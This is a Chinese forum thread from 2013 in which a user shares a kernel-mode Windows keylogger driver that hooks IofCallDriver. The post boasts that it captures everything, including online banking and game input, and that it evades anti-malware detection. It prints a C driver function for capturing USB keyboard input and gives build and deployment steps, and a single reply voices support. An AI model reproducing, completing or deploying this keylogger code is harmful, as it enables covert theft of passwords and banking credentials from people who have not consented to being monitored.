看流星社区

 找回密码
 注册账号
查看: 1786|回复: 1

发个重口味的,ring0 keylog

[复制链接]

该用户从未签到

发表于 2013-4-1 09:41:45 | 显示全部楼层 |阅读模式
首先这个不是原创,这个是09年俄罗斯的一个组织开源过的一个代码,我略加改造而已,但貌似有的人不多。但找不到出生地了,而这个也被我改得面目全非了,原来的版权信息都没了,所以声明不了原作者的版权,抱歉了。
其次这个是能在xp--win7 32位下用的,keylog的那几种方式应该都玩烂了,这个貌似还没烂,这个是通过hook IofCallDriver来记录键盘信息的。貌似还没被报是“keyloger”。
之所以说重口味是因为以前测试的时候貌似是无所不记的,什么网银,什么游戏,什么什么什么。。。
不过这个改完了基本就废弃了,因为有bug,且对64不兼容,所以后来换了一种方式来搞。
bug的话我只能记得有俩;
1、ps2键盘的小键盘好像是记录有问题的,不过我简单处理了一下,参考client的代码
2、不能记录usb键盘的,不过这个貌似不是大问题,xkeylogger.cpp里的一个函数

代码:
GetKbdClassDevices
换成如下的,应该就可以了,但历史太久远,且我没保留这种临时代码的习惯,有需要可自己改改。

代码:
static ULONG GetKbdClassDevices()
{
  UNICODE_STRING kbd;
  WCHAR tmp[256];
  PDEVICE_OBJECT KbdDeviceObject,FoundKbdDeviceObject;
  NTSTATUS Status;
  PFILE_OBJECT FileObject;
  ULONG iClass;

  RtlInitUnicodeString(&kbd,L"\\Driver\\hidusb");
  Status = IoGetDeviceObjectPointer(&kbd,FILE_READ_ATTRIBUTES,&FileObject,&KbdDeviceObject);
  if (NT_SUCCESS(Status))
  {
    if (FoundKbdDeviceObject = FindReadKbdClass(KbdDeviceObject))
    {
      KdPrint(("[XkeyLogger] : found usb \n"));

      gKeyboardClassDevices[0] = FoundKbdDeviceObject;
    }
  }
  return 0;
}

大概就这样了,使用方法是先用wdk7600编译出来“driver”下的驱动,然后在“client”目录下生成应用层通讯代码,最后把把生成的drv.sys拷贝到编译出来那个exe的目录。生成的keylog文件记录在programfiles下的log文件。

这份代码旨在老调重弹,重温一下键盘记录的一种方式与驱动与应用层通讯的一种方式。换个方式,很多Anti也许就失效了。

该用户从未签到

发表于 2013-9-23 10:35:41 | 显示全部楼层
这个还是要支持一下,呵呵
点击按钮快速添加回复内容: 支持 高兴 激动 给力 加油 苦寻 生气 回帖 路过 感恩
您需要登录后才可以回帖 登录 | 注册账号

本版积分规则

小黑屋|手机版|Archiver|看流星社区 |网站地图

GMT+8, 2024-5-14 04:45

Powered by Kanliuxing X3.4

© 2010-2019 kanliuxing.com

快速回复 返回顶部 返回列表